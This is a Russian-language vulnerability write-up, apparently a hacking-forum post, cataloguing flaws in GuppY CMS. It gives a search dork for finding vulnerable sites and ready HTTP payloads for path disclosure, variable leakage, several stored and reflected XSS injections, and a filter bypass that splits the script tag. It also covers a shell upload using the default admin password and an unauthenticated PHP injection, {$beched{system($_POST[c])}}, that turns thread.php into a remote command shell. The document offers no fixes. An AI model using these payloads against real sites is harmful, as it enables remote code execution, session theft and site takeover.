Продукт: GuppY CMS Сайт: www.freeguppy.org Дорк: "Site powered by GuppY" | "Site créé avec GuppY" Уязвимости приблизительно отсортированы по возрастанию критичности Уязвимость: Раскрытие путей Условия: -- Описание: Уязвимость возникает из-за недостаточной фильтрации параметров даты в скриптах inc\calendar.php (функция mktime(), параметры mois и anee), photoview.php (функция getimagesize(), параметр pg). Раскрытие даёт функция mktime() при обработке параметров mois и annee. Эксплуатация: Code: GET inc/calendar.php?lng=ru&mois='&annee=' GET photoview.php?lng=ru&pg=' Уязвимость: Вывод произвольных переменных Условия: -- Описание: Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в error.php и thread.php Атакующий может внедрить в php-код вывод произвольной переменной. Происходит это, поскольку входящие данные записываются в следующем виде (на примере error.php): PHP: $mettre = "<?php \$err = \"$err\"; \$msg0 = \"$msg0\"; \$msg1 = \"$msg1\"; \$msg2 = \"$msg2\"; \$date = \"Date : $date\"; \$dest = \"Page requested : $dest\"; \$source = \"Page source : $HTTP_REFERER\"; \$browser = \"Browser : $HTTP_USER_AGENT\"; \$addr_ip = \"IP address : $REMOTE_ADDR\"; \$domaine = \"Domaine : $domaine\"; \$with_mail = $with_mail; ?>"; $id = date('Ymd_His_').$err; WriteFullDB(DATAREP."error/".$id.INCEXT, $mettre); header("location:".$site[3]."error.php?id=".$id); В самом error.php файл БД с данными из $mettre инклудится. Выйти за пределы кавычек и выполнить произвольный код не получается из-за addslashes(). Но можно вывести переменные php, доступные из этого скрипта. Эксплуатация: Пример вывода DOCUMENT_ROOT Code: GET error.php?err=1 User-Agent: $_SERVER[DOCUMENT_ROOT] Уязвимость: Пассивная XSS Условия: -- Описание: Уязвимость возникает из-за причин, описанных выше. Можно внедрить в php-код вывод произвольных переменных, в том числе из $_GET[]. Атакующий может сформировать страницу, на которой будет присутствовать пассивная XSS Эксплуатация: Создаём тему, в заголовок вставляем имена нужных переменных: Code: POST postguest.php ptit=$_GET[a]$_GET[с] Теперь вызываем тему с дополнительными get-параметрами: Code: GET thread.php a=<script>alert()</scrip&с=t> Разбивать вывод приходится из-за некоторой фильтрации, которая не пропускает закрывающийся тег </script> целиком из-за строчки в \inc\includes.inc: PHP: if (@preg_match("!//|/\*|#|:/|\.\./|%2E\./|\.%2E/|%2E%2E/|document.cookie|/script!i", $_SERVER["QUERY_STRING"])) { die("Requкte non autorisйe - Request not allowed"); } Уязвимость: Полуактивная XSS Условия: -- Описание: Уязвимость возникает из-за недостаточной фильтрации в модуле профиля. Атакующий может с помощью специально сформированного запроса создать страницу с внедрённым js-кодом, требующим для выполнения некоторых действий. Эксплуатация: В профиле в e-mail пишем: Code: POST user.php uemail=" onmouseover=alert() asd=" (IE): Code: POST user.php uemail=" style='background-image: url(javascript:alert());' asd=" Это даст XSS в поле подписки на новости (событие onmouseover). Уязвимость: Выполнение произвольного кода (заливка шелла) Условия: права администратора Описание: Уязвимость возникает из-за недостаточной фильтрации параметров загружаемого файла в скрипте admin\inc\upload.inc. Атакующий может загрузить на сервер произвольный файл, например, php-шелл, который будет выполняться, поскольку файл .htaccess не сконфигурирован должным образом. Эксплуатация: В админцентре (admin.php) в разделе "Файлы сайта" (admin.php?pg=upload) заливаем шелл. Пароль от админцентра по умолчанию "pass". Уязвимость: Активная XSS Условия: -- Описание: Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля. В скрипте user.php есть строчки: PHP: $uwebesite = strip_tags($uwebesite); ... $userprefs[9] = $uwebesite; ... <input class="texte" type="text" name="uwebesite" size="40" value="<? if ($userprefs[9]) echo $userprefs[9]; else echo "http://" ?>"> Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом. Эксплуатация: Аналогично XSS в гостевой. Code: POST purl=" onmouseover=alert() asd=" (IE): Code: POST purl=" style='background-image: url(javascript:alert());' asd=" Уязвимость: Активная XSS Условия: -- Описание: Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле гостевой книги и форума. В скрипте postguest.php есть строчки: PHP: $purl = import('purl', 'POST'); ... $purl = CutLongWord($purl,80); ... $data[9] = $purl; ... $fieldb1 = addslashes(stripslashes($data[9])); А в скрипте PHP: guestbk.php есть строчка: PHP: echo "<br /> <img src=\"inc/img/general/gbkurl.gif\" width=\"17\" height=\"17\" align=\"middle\" alt=\" \"> <a href=\"".$fieldb1."\" target=\"_blank\">".$fieldb1."</a>"; Видно, что переменная, содержащая адрес сайта, введённый пользователем при отправке сообщения в гостевую не обрабатывается должным образом. Эксплуатация: Code: POST user.php purl=" onmouseover=alert() asd=" На выходе имеем: HTML: <a href="" onmouseover=alert() asd="" target="_blank">" onmouseover=alert()</a> (IE): Code: POST user.php purl=" style='background-image: url(javascript:alert());' asd=" На выходе имеем: HTML: <a href="" style='background-image:url(javascript:alert());' asd="" target="_blank">" style='background-image:url(javascript:alert());' asd="</a> Уязвимость: Активная XSS Условия: -- Описание: Уязвимость возникает из-за недостаточной обработки пользовательских данных в модуле профиля. В скрипте user.php есть строчки: PHP: $userprefs[8]= trim($avatar); ... $userdata = $userprefs[0].CONNECTOR.$userprefs[1].CONNECTOR.$userprefs[2].CONNECTOR.$userprefs[3].CONNECTOR.$userprefs[4].CONNECTOR.$userprefs[5].CONNECTOR.$userprefs[6].CONNECTOR.$userprefs[7].CONNECTOR.$userprefs[8].CONNECTOR.$userprefs[9].CONNECTOR.$userprefs[10]; Видно, что переменная, содержащая адрес сайта, указанный пользователем в профиле, не обрабатывается должным образом. А в скрипте есть следующая строчка: PHP: <img border="0" src="<? echo CHEMIN; ?>inc/img/avatars/<? echo $page[23]; ?>/<? echo $userprefs[8]; ?>" alt="<? echo $userprefs[1]; ?>" title="<? echo $userprefs[1]; ?>"> Аналогичный вывод аватара есть и в форуме, и в гостевой. Эксплуатация: Можно внедрить JS-код в обработчики событий объекта img. Например: Code: POST user.php avatar=" onerror=alert() asd=" Данный код кроссбраузерен, на выходе мы получим: HTML: <img border="0" src="inc/img/avatars/ava_1/\\\" onerror=alert() asd=\\\"" alt="ahack" title="ahack"> Понятно, что событие error всегда произойдёт, а значит код выполнится. Уязвимость: Выполнение произвольного кода Условия: -- Описание: Уязвимость возникает из-за недостаточной фильтрации параметров в различных скриптах. Например, в postguest.php. Атакующий может внедрить в скрипт произвольный php-код. Причины описаны выше (я тогда не понял, как выполнить произвольный код, поэтому написал лишь о выводе переменных) Эксплуатация: Создаём новую тему и пишем в заголовок: Code: POST postguest.php ptit={$beched{system($_POST[c])}} В результате в папке /data/ появляется файл docN.inc, где N - это номер темы: PHP: <? $type = "fr"; $fileid = "90"; $status = "a"; $creadate = "201001242210"; $moddate = "201001242210"; $author = stripslashes("beched"); $email = stripslashes("[email protected]"); $fielda1 = stripslashes("10"); $fielda2 = stripslashes("0"); $fieldb1 = stripslashes("{$beched{system($_POST[c])}}"); $fieldb2 = stripslashes("1"); $fieldc1 = stripslashes("trololo"); $fieldc2 = stripslashes(""); $fieldd1 = stripslashes(""); $fieldd2 = stripslashes("7"); $fieldweb = stripslashes("http://antichat.ru"); $fieldmail = stripslashes(""); ?> Фигурные скобки {} служат в php для отделения в кавычках строки от переменных. Таким образом, при просмотре темы имеем шелл: Code: POST thread.php c=ls Надо отметить, что подобная уязвимость в данном движке (error.php) была найдена уже 3 года назад, но до сих пор не закрыта (пруфлинк).